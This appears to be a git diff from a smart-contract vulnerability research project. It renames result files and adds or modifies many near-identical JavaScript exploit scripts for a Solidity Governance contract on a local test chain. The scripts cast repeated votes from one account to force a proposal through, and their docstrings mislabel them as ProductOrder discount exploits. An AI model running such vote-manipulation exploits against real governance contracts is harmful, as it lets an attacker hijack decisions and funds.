results-main-prompt}/partly-exploitable/Governance-15.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-17.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-18.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-2.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-3.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-4.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-5.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-6.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-7.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-8.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/Governance-9.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/MultiStageAuction-23.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/MultiStageAuction-24.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/PrizeDistribution-10.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/PrizeDistribution-14.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/PrizeDistribution-20.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/PrizeDistribution-25.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/PrizeDistribution-3.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/PrizeDistribution-6.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/PrizeDistribution-9.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-1.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-11.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-13.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-15.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-16.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-17.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-19.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-2.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-20.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-22.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-24.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-5.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-6.md (100%) rename {results-prompt-1 => results-main-prompt}/partly-exploitable/ProductOrder-9.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-10.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-11.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-14.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-2.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-20.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-23.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-24.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-25.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-3.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-6.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-8.md (100%) rename {results-prompt-1 => results-main-prompt}/prizedist/PrizeDistribution-9.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-1.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-11.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-13.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-14.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-15.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-16.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-17.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-19.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-2.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-20.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-22.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-24.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-5.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-6.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-8.md (100%) rename {results-prompt-1 => results-main-prompt}/productorder/ProductOrder-9.md (100%) delete mode 100644 results-prompt-2/PrizeDistribution-1.md delete mode 100644 results-prompt-2/PrizeDistribution-16.md delete mode 100644 results-prompt-2/PrizeDistribution-17.md delete mode 100644 results-prompt-2/PrizeDistribution-2.md delete mode 100644 results-prompt-2/PrizeDistribution-21.md delete mode 100644 results-prompt-2/PrizeDistribution-22.md delete mode 100644 results-prompt-2/PrizeDistribution-23.md delete mode 100644 results-prompt-2/PrizeDistribution-24.md delete mode 100644 results-prompt-2/PrizeDistribution-3.md create mode 100644 results/Escrow-1.md rename results-prompt-2/PrizeDistribution-8.md => results/Escrow-2.md (54%) create mode 100644 results/Escrow-3.md create mode 100644 results/Escrow-4.md create mode 100644 results/json/failed_exploits.json create mode 100644 results/json/successful_exploits.json create mode 100644 results/json/unresolved_exploits.json diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-2.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-1.js similarity index 74% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-2.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-1.js index 2e4438cf..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-2.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-1.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-2' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,12 +35,12 @@ let solcVersion = extractSolcVersion(source); * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. * @throws {Error} If there's an error during the exploit process. */ - async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal @@ -48,28 +48,27 @@ async function exploit(web3, envInfo, contractAddress) { from: envInfo.accounts[0], gas: 3000000 }); - await sleep(200); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // 5 seconds for reviewDuration but this time sleep too long to show that lack a proper require statement (commented) in the "vote" function will cause this to still go through even though the design suggests a deadline of 5 seconds since the time the proposal review time is over. - governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds before voting for the first time!`); - await sleep(10000); + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); - // Step 2: Vote on the proposal multiple times using the same account - for (let i = 0; i <= 3; i++) { - console.log("Voting on the proposal..."); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - await sleep(500); } // Wait for grace period to finish - console.log("Waiting for grace period to end... We need to wait 5 + 5 + 5 seconds since the creation of the proposal so we wait enough here to account for the remaining time of that 20 second total delay"); + console.log("Waiting for grace period to end..."); await sleep(10000); - + // Step 3: Execute the proposal console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ @@ -88,12 +87,6 @@ async function exploit(web3, envInfo, contractAddress) { - - - - - - /** * Executes the exploit and checks its result * @@ -109,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-10.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-10.js new file mode 100644 index 00000000..1c870c94 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-10.js @@ -0,0 +1,111 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const getLogger = require('@lib/logging/logger').getLogger; +let governanceExploitLogger = getLogger('governance'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + + + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let solcVersion = extractSolcVersion(source); +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + + try { + // Load the ABI of the Governance contract + const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + + const contractInstance = new web3.eth.Contract(abi, contractAddress); + + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`I am successful!`) + return true; + } catch (error) { + console.error("Error in governance actions:", error); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + console.log(`contractAddress: ${contractAddress}`) + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-11.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-11.js new file mode 100644 index 00000000..1c870c94 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-11.js @@ -0,0 +1,111 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const getLogger = require('@lib/logging/logger').getLogger; +let governanceExploitLogger = getLogger('governance'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); + + + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let solcVersion = extractSolcVersion(source); +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + + try { + // Load the ABI of the Governance contract + const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + + const contractInstance = new web3.eth.Contract(abi, contractAddress); + + // Step 1: Create a proposal + let createResult = await contractInstance.methods.createProposal().send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + const proposalId = 0; + governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); + + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + + // Wait for grace period to finish + console.log("Waiting for grace period to end..."); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); + const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + governanceExploitLogger.info(`I am successful!`) + return true; + } catch (error) { + console.error("Error in governance actions:", error); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + console.log(`contractAddress: ${contractAddress}`) + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-12.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-12.js similarity index 77% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-12.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-12.js index e6f5e6de..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-12.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-12.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-12' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,47 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period to end - governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); - await sleep(5000); + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); - // Step 2: Vote on the proposal multiple times with the privileged address - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { await contractInstance.methods.vote(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address + from: envInfo.accounts[0], gas: 3000000 }); - await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - + await sleep(10000); + // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -103,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-13.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-13.js similarity index 77% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-13.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-13.js index c28400fb..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-13.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-13.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-13' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); - // Step 2: Vote on the proposal after the voting period has ended with the privileged address - console.log(`Voting on proposal ${proposalId} after voting period...`); - for (let i = 0; i < 3; i++) { + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { await contractInstance.methods.vote(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address + from: envInfo.accounts[0], gas: 3000000 }); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - + await sleep(10000); + // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,7 +101,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-14.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-14.js similarity index 77% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-14.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-14.js index f07a80a7..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-14.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-14.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-14' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,47 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period to end - governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds!`); - await sleep(5000); + // Exploit the fact that voting counts are not correctly bounded + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); - // Step 2: Vote on the proposal multiple times with the privileged address - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { await contractInstance.methods.vote(proposalId).send({ - from: envInfo.privilegedAccount, // Use the privileged account address + from: envInfo.accounts[0], gas: 3000000 }); - await sleep(1000); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - + await sleep(10000); + // Step 3: Execute the proposal - console.log(`Executing proposal ${proposalId}...`); + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -103,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-15.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-15.js similarity index 75% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-15.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-15.js index 85633d2c..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-15.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-15.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-15' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); +let contractFileFullName = 'Governance' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,47 +36,46 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { + try { // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); + const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal - console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; // let's always target the first proposal in the list; + const proposalId = 0; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); - await sleep(10000); - - // Step 2: Vote on the proposal but not reaching the threshold - console.log(`Voting on proposal ${proposalId}...`); + // Exploit the fact that voting counts are not correctly bounded await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + // Repeat voting from the same account multiple times + for (let i = 1; i <= 3; i++) { + await contractInstance.methods.vote(proposalId).send({ + from: envInfo.accounts[0], + gas: 3000000 + }); + } + // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal within the bypass window - console.log("Waiting for bypass window to open..."); - await sleep(2000); // Wait to enter the bypass window period - - console.log(`Executing proposal ${proposalId} within the bypass window...`); + await sleep(10000); + + // Step 3: Execute the proposal + console.log("Executing the proposal..."); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`Proposal ${proposalId} executed without meeting vote threshold!`); - + governanceExploitLogger.info(`I am successful!`) return true; } catch (error) { console.error("Error in governance actions:", error); @@ -103,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); // See if exploit has yielded the predicted result (a very manual oracle!) diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-16.js b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-16.js similarity index 76% rename from CI/exploits/synthesized-prompt-1/GovernanceExploit-16.js rename to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-16.js index 794f9063..1c870c94 100644 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-16.js +++ b/CI/exploits/synthesized-exploit-diversification/GovernanceExploit-16.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not work with js 